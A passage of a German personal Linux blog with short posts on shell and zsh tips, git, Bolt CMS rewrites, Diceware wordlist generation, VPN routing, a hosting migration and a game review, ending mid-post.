- Danach wechselt man in das erstellte Verzeichnis. In diesem Fall keepassxc und führt dort "git describe --long | sed 's/\([^-]*-g\)/r\1/;s/-/./g'" aus. Hier wird dann aktuell "2.3.0.r10.g3c274135" ausgegeben, da die Veröffentlichung von Version 2.3.0 ansteht.

- Abschließend ändert man nun in der PKGBUILD-Datei die Zeile pkgver= entsprechend ab und kann sich so die aktuelle Entwicklerversion installieren.

- Um die Version in der PKGBUILD-Datei erneut zu aktualisieren, reicht es in das Verzeichnis keepassxc zu wechseln und dort "git pull" und danach "git describe --long | sed 's/\([^-]*-g\)/r\1/;s/-/./g" auszuführen. Git clone ist hier nicht nötig.

Da Git-Versionen aber nicht unbedingt stabil sind, sollte man aber abwägen ob man sich solch eine Version installiert oder nicht.


Slug aus URL mit htaccess entfernen

Normalerweise haben die Links auf Artikel mit Bolt CMS den Aufbau https://fryboyter.de/entry/Titel-des-Artikels. Die habe ich mittels der Routingfunktion auf https://fryboyter.de/Titel-des-Artikels umgebogen. Soweit so gut.

Zum Erzeugen des kompletten RSS-Feeds nutze ich allerdings die Erweiterung bolt-extension-rssfeed. In dieser ist die URL dann allerdings wieder https://fryboyter.de/entries/Titel-des-Artikels. An sich kein Problem, da die Artikel mit und ohne /entries aufgerufen werden können. Wäre da nicht Isso Comment.

Isso Comment verknüpft die Kommentare und Artikel anhand des Titels. Und da ist der mit /entries eben ein andere als ohne. Ruft nun jemand einen Artikel über den globalen RSS-Feed auf und gibt einen Kommentar ab, wird die URL mit /entries in der Isso-Datenbank gespeichert. Da ich aber eben die Artikel dank des Routings ohne /entries veröffentliche tauchen die Kommentare somit auch nicht auf, so dass ich hier immer in der SQLite-Datenbank herumpfuschen muss. An sich kein Problem es nervt aber trotzdem.

Im Template für den RSS-Feed oben genannter Erweiterung gibt es folgende Codezeile.

<link>{{ url('contentlink', { 'contenttypeslug': record.contenttype.singular_slug, 'slug': record.slug } ) }}</link>

In meinem nicht mehr ganz so jugendlichen Leichtsinn habe ich mir gedacht es reich hier einfach 'contenttypeslug': record.contenttype.singular_slug, zu entfernen. Pustekuchen. Sobald man versucht den Feed aufzurufen bekommt man eine unschöne Fehlermeldung. Zum einen reichen meine Programmierkenntnisse hier definitiv nicht aus, dass Problem zu lösen und zum anderen müsste ich nach jedem Update der Erweiterung diese anpassen. Also muss, zumindest vorübergehend, eine andere Lösung her.

Schlussendlich habe ich einfach die .htaccess-Datei für Bolt CMS angepasst. In dieser haben ich den Bereich <IfModule mod_rewrite.c> gesucht und in diesem folgende Zeile eingetragen.

RewriteRule ^entrie/(.+)$ https://fryboyter.de/$1 [R=301,L]

Abschließend noch den Cache von Bolt CMS gelöscht und fertig. Ruft nun jemand einen Link mit /entrie/ auf, wird er automatisch auf die Version ohne /entrie/ umgeleitet. Ich denke das ist derzeit die beste Lösung mit der ich nicht an der Erweiterung herumpfuschen muss.


Kopieren und Verschieben mit Fortschrittsanzeige

Heute morgen hatte ich eine Datei mit 35 Gigabyte kopiert. Nach ein paar Minuten war ich mir unsicher ob der Vorgang noch läuft oder eventuell hängen geblieben ist. Hier wäre mir eine Fortschritsanzeige recht lieb gewesen.

Der Befehl cp bietet diese Funktion leider nicht an, und da er als "feature complete" gilt wird er es auch nie. Nach etwas Google Fu habe ich neben rsync das Projekt pycp gefunden. In diesem sind die Befehle pycp und pymv enthalten. Erster ist ein Ersatz für cp und zweiter für mv. Und alle beide bieten eine Anzeige für den Fortschritt, die Datenübertragungsrate und die geschätzte verbleibende Zeit. Das ganze sieht dann beispielsweise wie folgt aus. Anstelle von pycp kann man auch pymv nutzen um Dateien zu verschieben.

pycp Screenshot

Natürlich kann man das auch mit Konstrukten wie cp "file" "destination" && pv $(pidof cp) oder rsync -avP <Quelle> <Ziel> arbeiten. Aber pycp große_datei ~/Downloads ist mir einfach lieber. Hier siegt die Faulheit und ich installiere mir lieber ein Tool mehr auf den Rechner.


Tannenberg - Willkommen im Ersten Weltkrieg

Eigentlich lasse ich von Early-Access-Spielen die Finger. Eigentlich. Letztes Wochenende habe ich aber diese Regel mal wieder gebrochen und mit neben Battalion 1944 auch Tannenberg gekauft. Letzteres läuft direkt unter Linux.

Tannenberg ist an der Ostfront im Ersten Weltkrieg angesiedelt. Hauptsächlich spielt man den Modus "Maneuver". Hier ist das Spielprinzip recht einfach. Es gibt mehrere Karten die in diverse Sektoren unterteilt sind. Zwei Teams mit insgesamt maximal 64 Spielern (bei Bedarf werden diese von Bots aufgefüllt) versuchen nun diese Sektoren zu erobern und zu halten. Klingt einfach? Ist es aber nicht.

Im Gegensatz zu anderen Shootern beißt man in der Regel nach einem Treffer ins Gras. Vor allem als Neueinsteiger kann dies richtig nerven da man während einer Runde teilweise mehr stirbt als bei einer Lanparty an einem ganzen Wochenende. Der Umgang mit den Waffen erfordert auch etwas Einarbeitungszeit. Scheinbar waren diese im Ersten Weltkrieg nicht gerade präziese und das haben die Entwickler wohl berücksichtigt. Zudem sind die Magazine oft sehr klein und das Nachladen dauert oft ewig. Wäre dies nicht schon genug Stress, kommen dann noch so nette Sachen wie Mörser- und Giftgasangriffe dazwischen. Für letzteres kann man sich zwar mit einer Gasmaske schützen, allerdings kann man sich diese oft nicht schnell genug aufsetzen. Kurz gesagt man stirbt schnell und oft und steht eigentlich immer unter Strom. Normalerweise würde ich daher die Finger von dem Spiel lassen. Aber irgendwie hat es mich am vergangenen Samstag mehrere Stunden gefesselt.

Aber trotzdem merkt man deutlich, dass es ein Early-Access-Spiel ist. Mit der Grafik lässt sich kein Preis gewinnen (vermutlich auch nicht wenn das Spiel fertig ist), trotzdem entsteht  eine gute Athmosphäre. Die Vertonung hingegen finde ich sehr gelungen. Die Übersetzung der Texte zumindest die in die deutsche Sprache ist, sagen wir mal unfertig, bringt aber auch etwas Witz ins Spiel (z. B. auf einen Kontrollpunkt klicken um zu laichen). Die Hardwareanforderungen sind alles in allem nicht gerade hoch. Empfohlen werden 8 GB RAM und eine Grafikkarte mit 4 GB.

Von den Spielern wurde ich, bis auf wenige Ausnahmen, sehr positiv überrascht. Alles in allem ein freundlicher Haufen, der sich auch nicht zu schade ist einzelnen Spielern oder allgemein dem gegnerischen Team zu gratulieren. Der Versuch mancher mit zum Beispiel mit einem preußischen Dialekt zu sprechen, hat auch für einige Lacher gesorgt. Vor allem wenn diese der deutschen Sprache kein Stück mächtig sind.

Muss man nun Tannenberg unbedingt spielen? Sicher nicht. Ich bereue es aber auch nicht, knapp 18 Euro dafür bezahlt zu haben und werde am Wochenende sicher wieder ein paar Runden spielen. Wer sich für das Spiel interessiert kann sich die offizielle Seite bzw. die Seite bei Steam anschauen.


Wörterliste für Diceware erstellen

Bei Diceware handelt es sich um ein Verfahren mit dem man lange, aber leichter zu merkende Passwörter erstellen kann. Hierzu braucht man einen Würfel und eine Liste mit Wörtern.

In dieser Liste findet man pro Zeile ein Wort dem eine fünfstellige, einzigartige Zahl vorangestellt ist. Will man nun zum Beispiel ein Passwort aus 5 Wörtern erstellen, muss man pro Wort 5 mal würfeln. Also insgesamt 25 mal. Am Ende hat man dann beispielsweise 54678 29412 37783 79381 erwürfelt. Nun schnappt man sich besagte Liste und sucht die betreffenden Wörter. Somit könnte beispielsweise DachsPlastikrodelnEinkaufFluss herauskommen. Wichtig hierbei ist, dass man die Wörter nicht neu würfelt oder sich eigene Wörter ausdenkt, wenn man mit dem Ergebnis nicht zufrieden ist.

Im Internet gibt es diverse Wörterlisten für Diceware. Zum Beispiel unter http://world.std.com/~reinhold/diceware.html. Diese ist aber inzwischen so bekannt, dass sie vermutlich schon von Crackern benutzt wird und zum anderen sind dort "nur" knapp 7800 Wörter enthalten.

Nehmen wir nun an, man trifft im Internet die Aussage, dass man Diceware nutzt. Somit steht die Chance für die bösen Buben nicht schlecht, dass man die offizielle Liste mit den Wörtern nutzt. Dies macht die Aufgabe das Passwort zu knacken schon etwas einfacher. Daher wäre eine eigene Liste wohl nicht verkehrt. Dies kann man mit folgendem Script erledigen.

wget "https://www.openthesaurus.de/export/OpenThesaurus-Textversion.zip"
wait
unzip OpenThesaurus-Textversion.zip
wait
grep -v '^#' openthesaurus.txt | \
tr ';' '\n' | \
tr [ÄÖÜ] [äöü] | \
grep  -v '[^[:alnum:] _]' | \
grep -v '[0-9]' | \
grep -v ' ' | \
grep -E '^.{3,8}$' | \
sort -uR | \
head -n 10000 | \
sort | \
nl -n rz -v 0 -w 4 > 'wordlist_de.txt'

Das Script macht zusammengefasst folgendes:

  • Herunterladen und Entpacken der OpenThesaurus-Textversion (deutlich mehr als 7800 Worte)
  • Je einen Eintrag in jeweils eine Zeile packen
  • Filtern der Einträge mit Umlaute, Unterstrich oder Zahlen sowie Einträge die aus mehreren Wörtern bestehen
  • Entfernen aller Wörter mit weniger als 3 und mehr als 8 Zeichen
  • Entfernen eventueller doppelter Einträge
  • Zufällige Sortierung der restlichen Einträge
  • Übernahme der ersten 10000 Einträge
  • Alphabetische Sortierung dieser Einträge
  • Nummerrierung der Einträge und das Abspeichern in die Datei "wordlist_de.txt"

Anhand dieser Liste lässt sich nun mittels eines Würfels ein Passwort aus einem großeren Pool an Wörtern erstellen. Wer hierzu keine Lust hat, kann auch Tools diceware nutzen. Diese kommen mit oben erstellter Liste auch zurecht. Es ist allerdings zu empfehlen wirklich selbst zu würfeln. Was die Anzahl der Wörter betrifft, sollte man aktuell mindestens 6 Wörter würfeln. Mehr sind natürlich besser. Wer will kann zwischen die Wörter noch ein Sonderzeichen oder ein Leerzeichen einfügen. Das erhöht die Sicherheit noch einmal.


Fünf Millionen für das Matrix-Protokoll

Bei Matrix handelt es ich um ein offenes Protokoll mit dem mittels Text, Sprache und Video kommuniziert werden kann. Aufgrund der Brücken in diverse andere Netzwerke wie IRC oder Slack halte ich Matrix für sehr vielversprechend. Allerdings sah vor ein paar Monaten die finanzielle Situation nicht wirklich gut aus.

Dank diverser Spenden konnte aber zumindest erreicht werden, dass das Team der Hauptenwickler weiter bezahlt werden konnte. Nun hat Matthew Hodgson, Mitbegründer von Matrix, bekannt gegeben, dass das Unternehmen Status 5 Millionen Dollar zur Verfügung stellt und eine Partnerschaft mit Matrix eingeht. Somit ist erst einmal die Weiterentwicklung von Matrix gesichert und es werden wohl auch noch einige Entwickler eingestellt werden. Spenden werden aber dennoch gerne angenommen. Eines der Ziele ist es daher auch die Matrix.org Foundation als non-profit Organisation zu etablieren. 

Mit der Partnerschaft von Matrix und Status wurden folgende gemeinsame Ziele gesteckt.

  • Brücke zwischen Matrix und Whisper (dem Protokoll von Ethereum)
  • Die Unterstützung von Olm/Megolm in Status
  • Gemeinsame Entwicklung des dezentralisiertem Reputationssystem für Matrix & Ethereum
  • Usw.

Bei Matrix an sich soll nun folgendes mit hoher Priorität umgesetzt werden.

  • Die Nutzbarkeit des Referenz-Client Riot soll verbessert werden
  • Die Ende-zu-Ende-Verschlüsselung soll den Beta-Status verlassen
  • Die Fertigstellung von Dendrite (Matrix-Server auf Basis von golang)
  • Verbesserung von Synapse (aktueller Referenz-Server)
  • Die Wartung / Aktualisierung der Spezifikationen von Matrix

Weitere Ziele mit einer niedrigeren Priorität sind zum Beispiel Matrix auf Basis von P2P, dezentralisierte Benutzerkonten, das Ändern von Nachrichten und noch einiges mehr.


Fryboyter.de nun mit Code Highlighter

Vor ein paar Monaten bin ich von Wordpress auf Bolt CMS umgestiegen. Hierbei musste ich auf die eine oder andere Funktion verzichten. Unter anderem auf einen Code Higlighter. Es gibt zwar zwei Plugins, aber diese sind leider veraltet und funktionieren mit Bolt 3.x nicht und ich bekomme es nicht gebacken diese entsprechend anzupassen.

Daher hatte ich mit CSS etwas zusammengebastelt um Codebeispiele zumindest als solche zu kennzeichnen. Das Ergebnis war mehr schlecht als recht. Bei zu langen Zeilen musste man beispielsweise horizontal scrollen. Und Zeilennummern gab es auch keine mehr. Blöd wenn man den Code an einer bestimmten Stelle erklären will.

Ich habe mich daher dazu entschlossen einen Code Highlighter zu installieren. Entschieden habe ich mich schlussendlich für Prism. Zukünftig wird nun Code farblich hervorgehoben und Zeilennummern ink. Umbruch gibt es nun auch wieder.

#!/bin/bash 
echo "Wie ist Ihr Name?"
read ANTWORT
if [ "$ANTWORT" == "root" ]
    then
        echo "Hallo, Administrator. Das ist eine sehr lange Zeile um einen Zeilenumbruch zu provozieren."
    else
        echo "Hallo, Anwender."
fi

Der ganze Spaß hat aber auch Nachteile. Zum einen muss ich nun einige Artikel anpassen, da ich oft zu faul war, die richtige Klasse bei den Code-Tags zu hinterlegen (z. B. <code> anstelle von <code class="language-bash">. Und für die Zeilennummern muss ich die <pre> Tags um <pre class="line-numbers" style="white-space:pre-wrap;"> erweitern. Naja muss ich halt wieder das fleißige Bienchen spielen... Ein weiterer Nachteil ist, dass die Seite nun ca. 12 KB schwerer ist, da nun eine Javascript-Datei und eine CSS-Datei zusätzlich geladen werden. Ich denke das ist zu verkraften.


Teile des Pfads bis zum Slash unter der ZSH löschen

Nehmen wir einmal an, dass in der Historie der ZSH der Befehl "cd /home/nutzer/Downloads/Filme/Action" vorhanden ist. Was aber, wenn man nur in den Ordner Downloads wechseln will?

Eine Möglichkeit wäre, den Befehl aus der Historie aufzurufen und einfach Filme/Action zu löschen bevor man den Befehl ausführt. Oder man drückt einfach ALT + Backspace. Hier macht die ZSH allerdings Probleme. Anstelle bis beispielsweise rückwärts bis zum nächsten Slash zu löschen, wird bis zum nächsten Leerzeichen gelöscht. Somit wird aus "cd /home/nutzer/Downloads/Filme/Action" mit nur einem Shortcut "cd". Irgendwie blöd. Also muss mal wieder meine .zshrc erweitert werden. In diese habe ich folgende Funktion gepackt.

function backward-kill-partial-word {
         local WORDCHARS="${WORDCHARS//[\/.]/}"
         zle backward-kill-word "$@"
     }
     zle -N backward-kill-partial-word
     for x in '^Xw' '^[^?' '^[^H'; do
         bindkey "$x" backward-kill-partial-word
     done; unset x

Mittels WORDCHARS wir hierbei definiert, dass auch / Teil eines Worts ist. Speichert man nun die .zshrc und läd diese mittels "source ~/.zshrc" erneut ein lässt sich nun ein eingegbener Pfad mittels ALT + Backspace bis zum jeweils nächsten Slash rückwärts löschen.


Wie Anfänger bei Projekten auf Github mitwirken können

Oft findet man auf Github das eine oder andere Projekt bei dem man merkt, dass man auch mithelfen könnte obwohl man nicht programmieren kann. Zum Beispiel indem man eine Dokumentation erstellt oder verbessert. Oder indem man einfach Sprachdateien erstellt.

Änderungen kann man aber bei vielen Projekten nicht einfach per E-Mail an den Entwickler schicken, sondern muss hierfür einen Pull Request bei Github erstellen. Spätesten an dieser Stelle klinken sich dann oft diejenigen aus, die mit Programmieren nichts am Hut haben. Zumal man oft sogar ziemlich schroff abgefertigt wird, wenn man es trotzdem per E-Mail versucht (was ich leider aus eigener Erfahrung bestätigen kann).

Auf Github wurde nun ein Projekt gestartet, das Anfängern den Einstieg erleichtern soll. So wird zum Beispiel erklärt, wie man ein Projekt forkt, Änderungen vornimmt und dann schlussendlich einen Pull Request erstellt. Zudem gibt es noch tiefer gehende Anleitungen um zum Beispiel einen Commit zurück zu ziehen oder wie man bei einem Merge Conflict verfährt. Teile dieser Anleitung sind bereits auch in diverse Sprachen übersetzt worden, so dass man nicht einmal der englischen Sprachen mächtig sein muss um dieser folgen zu können.


Deutschsprachiger Linux-Kurs für Anfänger vom 12. bis 26.02.18

Vom 12. bis 26.02.18 bietet das Hasso-Plattner-Institut einen kostenlosen, deutschsprachigen Anfängerkurs zum Thema Linux an. Wer Interesse hat bzw. jemanden kennt für den der Kurz vielleicht etwas ist, findet unter https://open.hpi.de/courses/linux2018 genauere Informationen und die Möglichkeit zur Anmeldung. Ob der Kurs etwas taugt, kann ich nicht sagen. Mit dem Anbieter habe ich bisher noch keine Erfahrungen gemacht.


Lesezeichen für Verzeichnisse unter der ZSH

Heute habe ich mir überlegt, wie ich meine Abläufe weiter optimieren kann. Der Wechsel in oft genutzte Verzeichnisse ist solch ein Ablauf. Als erstes habe ich mir das Jump-Plugin von Oh My ZSH angesehen.

Da mir Oh My ZSH zu überladen ist, habe ich mir nur das betreffende Plugin installiert. Hierzu habe ich das Verzeichnis /usr/share/zsh/plugins/zsh-jump erstellt und in diesem mittels wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/plugins/jump/jump.plugin.zsh das Plugin heruntergeladen. Abschließend habe ich noch in der ~/.zshrc source /usr/share/zsh/plugins/zsh-jump/jump.plugin.zsh hinzugefügt.

Das Plugin ist nun aktiv. Nun wechselt man einfach in eines der oft genutzten Verzeichnisse. Nehmen wir als Beispiel mal /etc/systemd/system. Mittels mark systemd legen wir ein Lesezeichen an (anstelle von systemd kann man eine beliebige Bezeichung angeben). Hiermit mit standardmäßig unter ~/.marks ein entsprechnender Symlink angelegt.

Nehmen wir nun einmal an, dass wir uns in ~/.config/terminator befinden und nun schnell in /etc/systemd/system wechseln möchten. Also führen wir jump systemd aus und landen umgehend in /etc/systemd/system.

Diese Lösung ist relativ einfach gehalten und erfordert das manuelle Anlegen von Lesezeichen. Andere Lösungen, die ich voraussichtlich noch testen werde, nutzen zum Beispiel fzf und sind daher komplexer und bietet mehr Möglichkeiten.


Dauerhafte Lösung wenn ein Dienst die IP des VPN-Dienstes sperrt

Heute hat es mich mal wieder erwischt. Privat nutze ich aus diversen Gründen den Dienst eines VPN-Anbieters. Über die gleiche IP haben jetzt wohl Vollidioten Mist gebaut und einer meiner E-Mail-Anbieter hat diese für das Versenden gesperrt. Laut dem Support ist das Entsperren aktuell keine Option.

Vor längerem habe ich bereits einen Artikel veröffentlich und beschrieben wie man eine Ausnahme bei OpenVPN erstellt. Da ich aber über die betreffende E-Mail-Adresse sehr selten etwas versende, werde ich mich vermutlich jedes mal wundern und erst einmal ein technisches Problem vermuten. Aber wie so oft, kann man das Problem auch dauerhaft lösen.

Hierzu editiert man einfach unter /etc/openvpn/client/ die betreffende Konfigurationsdatei und fügt folgenden Einträge hinzu.

script-security 2
up /etc/openvpn/route.sh

Die erste Zeile erlaubt OpenVPN Nutzer-Scripte auszuführen. In der zweiten Zeile wird das Script route.sh ausgeführt, sobald die OpenVPN-Verbindung steht. Nimmt man anstelle von up down wird das Script ausgeführt, sobald die Verbindung beendet wurde. Was in dem Fall keinen Sinn machen würde. Im genannten Script ist dann folgendes Eintragen.

#!/bin/sh
route add -host mailserver.des.anbieters gw 192.168.1.1

Anstelle der genannten exemplarischen IP nimmt man einfach die IP des Routers (ich gehe davon aus, dass der VPN-Zugang nicht auf selbigen läuft, sondern auf dem Rechner(n).

Somit lassen sich die E-Mails ganz normal über die IP vom ISP empfangen oder versenden. Alles andere läuft weiterhin über den VPN-Zugang so dass man beispielsweise Geoblocking umgehen kann.
 


Autokorrektur der ZSH partiell zum Schweigen bringen

Gestern habe ich alle wichtigen Dienste von Uberspace V6 auf Uberspace V7 verschoben. So wie es aussieht, hat wohl alles geklappt. Allerdings ging mit die Autokorrektur der ZSH auf die Nerven.

Da mir Befehle wie "ssh nutzer@planet.uberspace" zu umständlich sind, habe ich in der ~/.ssh/config Einträge angelegt, so dass ich mich beispielsweise mittels "ssh uberspace6" auf meinen Uberspace6 einwählen kann. Vor kurzem kam hier noch der Eintrag für uberspace7 hinzu. Wenn ich nun "ssh uberspace7" ausführen wollte, hat mich die Autokorrektur der ZSH jedes mal gefragt, ob ich nicht Uberspace gemeint habe. Nein verdammt, habe ich nicht. Das ging mir mit der Zeit auf den Zeiger. Eine komplette Deaktivierung der Korrektur für die Parameter wollte ich aber auch nicht. Daher habe ich mir den Alias ssh='nocorrect ssh' erstellt. Damit verkneift sich die Korrektur die Fragen und ich habe meine Ruhe. Dank der Vervollständigungsfunktion bzw. History-Funktion entstehen in dem Fall auch keine Problem und man kann schnell zwischen zwei ähnlichen Einträgen auswählen. Solch ein Alias lässt sich auch für jeden anderen Befehl anlegen.


Der Umzug auf Uberspace 7

Vor ein paar Wochen wurde Uberspace in Version 7 als Betaversion veröffentlicht. Eigentlich wollte ich zeitnah von version 6 umsteigen. Aus zwei Gründen habe ich den Umstieg aber erst einmal sein gelassen.

Grund 1: Es war noch nicht möglich mehrere E-Mail-Adressen anzulegen. Diese Funktion sollte und wurde auch nachgereicht. Wie gesagt, das ganze ist offiziell noch als Betaversion gekennzeichnet.

Grund 2: Das Team hinter Uberspace hat die Entscheidung getroffen, dass nur noch ein DocumentRoot pro Zugang möglich ist. Virtuelle DocumentRoots wird es nicht mehr geben. Auch wenn ich die Entscheidung aus technischer Sicht durchaus nachvollziehen kann, kommt für mich der Umstieg dann doch nicht in Frage, da ich mehrere Domains aufgeschaltet habe und im Falle von Fryboyter.de auch noch mehrere Dienste wie Searx unter Subdomains nutze. Aber egal, unter Version 6 funktioniert ja alles und wird wohl auch bis 2020 laufen. Kurz vor Weihnachten hatte ich dann zufällig mal wieder bei Uberspace gestöbert und einen Eintrag im Uberspace-Blog gefunden. Alleine das zeigt, dass man bei dem Anbieter gut aufgehoben ist. Andere Anbieter hätten eine Entscheidung getroffen und "friss oder stirb" wäre angesagt gewesen.

Da mir der aktuelle Stand von Uberspace 7 alles bietet, was ich aktuell so brauche, habe ich mir heute einmal einen Zugang besorgt. Auf die grundlegenden Sachen wie das erstellen des SSH-Zugang usw. gehe ich jetzt nicht ein. Das kann bei Bedarf unter https://manual.uberspace.de/en/index.html nachgelesen werden.

Allerdings nutze ich ja auch so spezielle Fälle wie Isso Comment. Ich kann mich an keine Installation erinnern bei der ich nicht irgendwo auf Granit gebissen bin. Heute hat es aber geklappt. Im Grunde habe ich mich an Martins Anleitung gehalten. Mit zwei Ausnahmen. Bei der Installation mit pip habe ich konservativ auf Version 2.7 gesetzt. Zudem bezieht sich die Anleitung auf das Ausführen per FastCGI. Aber auf meinem U7 gibt es (noch?) kein entsprechendes Verzeichnis. Allerdings wurde beim neuen Webspace daemontools von supervisord abgelöst. Also habe ich mir einfach folgenden Service gebastelt und Isso läuft.

[program:isso]
command = /home/nutzer/.local/bin/isso -c /home/nutzer/etc/isso/user.cfg run
autostart = true
autorestart = true

Somit ist der restliche Umzug hoffentlich nur noch eine Fleißarbeit. Was sich allerdings wohl nicht vermeiden lässt ist, dass meine Seiten wohl vorübergehend nicht erreichbar sein werden, da ich z. b. für die Domains die A/AAAA und MX Records bei Inwx ändern muss. Also wenn die Seite fryboyter.de nicht erreichbar ist, ziehe ich entweder gerade um und/oder habe Mist gebaut.

Es ist vollbracht. Der Wechsel von Uberspace V6 auf V7 hat ohne größere Probleme geklappt. Wer trotzdem noch einen Fehler findet oder Verbesserungswünsche hat, kann ich gerne melden.


Das Jahr des Linux Desktops 2017

Das Jahr 2017 geht zu Ende. Und an vielen Ecken hört man, dass wohl auch dieses Jahr nicht das Jahr des Linux Desktop war. Wie es wohl auch die letzen Jahre der Fall war. 

Und ich stelle mir jedes mal die gleiche Frage. Warum zur Hölle ist das wichtig? Wann wurde zum Beispiel das Jahr des Windows Desktop gefeiert? Oder das Jahr des 1er BMW? Oder das Jahr des Krapfens (das Ding das mit Marmelade gefüllt wird) des Backhaus Kutzers? Auf Frage 1 kann ich für mich nur die Antwort "gar nicht" geben. Und bei den anderen Fragen lautet die Antwort, wenn ich mich jetzt nicht ganz arg täusche, "noch nie". Trotzdem verkauft sich das Zeug. Vor ein paar Tagen hatte ich zum Beispiel 3 Krapfen bei besagtem Backhaus gekauft.  Ohne das diese prämiert oder mit Blattgold überzogen waren. Und sie waren trotzdem lecker.

Ich für meinen Teil feiere schon seit über 10 Jahren das Jahr des Linux Desktops. Weil ich eben seit über 10 Jahren Linux auf meinen Rechnern nutze. Was andere machen ist mir (entschuldigt die Wortwahl) scheißdrecksegal. Ich bin nicht Lieschen Müller, ich bin ich. Und Ende.

Nehmen wir mal an, das Jahr des Linux Desktops wird nie kommen. Ich gehe davon sogar aus, da es meines Wissens ja auch kein Jahr des Windows Desktops gab. Oder eben das des Krapfens. Oder des 1e BMW. Trotzdem benutzt eigentlich fast jeder Linux. Sogar ein Bekannter von mir der bekennender Linux-Hasser ist. Sein Fernseher wird zum Beispiel von Linux angetrieben. Sein NAS auch. Die meisten Nutzer wissen es nur nicht bzw. wollen es in genannten Fall einfach nicht wahrhaben, da es sonst ihr Weltbild zerstören würde.

Machen wir es doch einfach kurz. Benutzt einfach das, was euch zusagt. Ob es nun Mainstream ist, oder nicht. Ob es prämiert ist oder nicht. Objektiv betrachtet hat alles seine Vor- und Nachteile. Die Marke zu der mein Auto gehört, nutzt in meinem Freundes- und Bekanntenkreis beispielsweise auch keiner. Und es fährt trotzdem. Davon abgesehen, dass es zur VAG gehört, kann ich auch nicht meckern. Hört einfach auf euch von Entscheidungen anderer abhängig zu machen. Oder versucht es zumindest. Und wenn ihr Windows nutzen müsst, weil ihr auf ein Programm angewiesen seit, dass nur unter Windows läuft und für das es keinen Ersatz unter einem alternativen Betriebssystem gibt, dann nutzt einfach Windows. Oder ihr wollte Windows nutzen, weil ihr Windows nutzen wollt? Auch gut. Die Welt wird sich trotzdem noch weiter drehen. Genauso wie sich die Welt weiter drehen wird, wenn 2018 nicht das Jahr des Linux Desktop sein wird. Ich frage mich eher was passiert, wenn 2018 das Jahr des Linux Desktop wird. Vermutlich wird dann eine galaktische Hyperraum-Expressroute gebaut und die Erde liegt hierfür im Weg. Murphy ist schon ein mieses Schwein...


Suchanfrage bei Google direkt in Terminator stellen

Wenn ich etwas mit der Shell mache, habe ich es mir schon länger vermisst, dass man nicht einfach nach einer Fehlermeldung suchen kann. 

Am besten einfach indem man den Text markiert und über das Kontextmenü so etwas wie "Bei Google suchen" auswählt und die Suchanfrage wird dann direkt im Browser gestellt. Für den von mir verwendeten Terminal Emulator Terminator ist hierfür ein älteres Plugin vorhanden aber ich habe es einfach nicht zum laufen gebracht.

Auf Reddit hat der Nutzer msudgh nun heute ein Plugin veröffentlicht mit dem man genau das nun möglich ist. Entweder hatte er die gleiche Idee oder es hat den Beitrag von mir bei Reddit gelesen in dem ich mir diese Funktion gewünscht hatte und hat sich erbarmt. Auf jeden Fall funktioniert das Plugin ohne Probleme. Daher ein dickes Danke an msudgh. Veröffentlich wurde das Plugin bei Github.

Da sich die Adresse für die Suchmaschine leicht im Plugin ändern lässt, kann ich nun auch noch zum Beispiel bei DuckDuckGo suchen.


Entwicklung der Classic Shell wird eingestellt und Code wird Open Source

Die Classic Shell wird unter Windows von vielen genutzt die zum Beispiel nichts mit der neuen Oberfläche von Windows 10 anfangen wollen oder können (mein Vater ist so ein Kandidat). Die Entwicklung dieses Tools wird nun eingestellt.

Der Entwickler Ivo Beltchev hat nun im offiziellen Forum bekanntgegeben, dass er das Projekt nicht mehr weiterführt. Gründe sind dafür mangelnde Zeit und wohl auch die Tatsache, dass er häuftig nach Updates von Windows Hand anlegen muss, da die Classic Shell an irgendwelchen Stellen Probleme macht. Glücklicherweise lässt er die Nutzer aber nicht im Regen stehen. Der Code steht nun auf Sourceforge unter der MIT Lizenz zur Verfügung. Jetzt müssen "nur" noch Leute gefunden werden, die das Projekt längerfristig weiterführen.


Webanwendung mit git aktualisieren und Änderungen behalten

Manche meiner Webanwedungen aktualisiere ich mittels git. Bei meiner Instanz von Searx bekomme ich allerdings eine Fehlermeldung, wenn ich git pull origin master ausführe, weil ich lokal einige geänderte Dateien habe. In meinem Fall sind das Konfigurationsdateien wie settings.yml.

Da ich ehrlich gesagt keine Lust habe, hier jedes mal die Änderungen wieder auf meinem Webspace einzupflegen habe ich mal geschaut, was bei git so alles möglich ist. Bei git stash bin ich fündig geworden. Hiermit werden Änderungen an den lokalen Dateien quasi gesichert und können nach einem Update der lokalen Dateien wieder eingespielt werden.

Aktuell läuft daher die Aktualisierung von Searx daher wie folgt ab.

git stash
git pull origin master
git stash pop

Mit dem ersten Befehl lege ich mir quasi eine Kopie der Änderungen an. Mit dem zweiten Befehl spiele ich alle Änderungen seitens der Entwickler ein. Der letzte Befehl spielt dann meine Änderungen in die aktualisierten lokalen Dateien ein und löscht die Kopie wieder.


Image mit dd auf SD-Karte kopieren hängt

Da ich Ende des Jahres für ein paar Monate einen Server mit CentOS übernehme, wollte ich mir mal eben CentOS auf eine SD-Karte für einen Raspberry installieren. Mal eben...

Das Wiki von CentOS gibt in der Installationsanleitung "dd if=CentOS-Userland-7-armv7hl-Minimal-RaspberryPi3.img of=/dev/mmcblk0 bs=8192; sync" an. Dieser Befehl hängt bei mir allerdings für mehrere Stunden. Kann eigentlich nicht sein. Htop zeigt bei dem Prozess den Status D an. Nach etwas Google-Fu habe ich herausgefunden, dass dies für "uninterruptible sleep (usually IO)" steht. Solche Prozesse lassen sich nicht mal mit Rootrechten killen.

Also nächster Versuch bei dem bei obigen Befehl den Teil mit dd um status=progress erweitert habe. Hier werden laut Anzeige die 3 GB der Images ratz fatz bearbeitet. Und dann bleibt das ganze wieder stundenlang hängen. Bei den nächsten Versuchen habe ich etwas mit bs=8192 gespielt und die Werte geändert. Und wieder kein Erfolg.

Etwas Google-Fu später habe ich den Tipp gefunden, die Daten nicht zu cachen sondern direkt zu schreiben. Hierzu erweitert man den Teil mit dd einfach um oflag=direct. Das ist dann zwar langsamer, führt aber bei mir zumindest zum Erfolg.

Die Karte ist laut badblocks übrigens in Ordnung. Das habe ich zwischenzeitlich auch schon getestet. Die Karte verrichtet ja schon ein paar Jahre ihren Dienst in einem Rapsberry Pi. Jetzt muss ich nur noch herausfinden, wieso es mit Cache so lange dauert. Vor allem weil es sich um eine Karte der Klasse 10 handelt.


Fold - Dateien falten

Auch wenn man mehrere Jahre Linux nutzt, lernt man immer noch dazu. So ist mir heute der Befehl fold untergekommen, den ich bewusst wohl noch nie benutzt habe.

Nehmen wir mal die Ausgabe von "uname -a" als Beispiel. Diese sieht bei mir gerade inkl. Umbruch wie folgt aus.

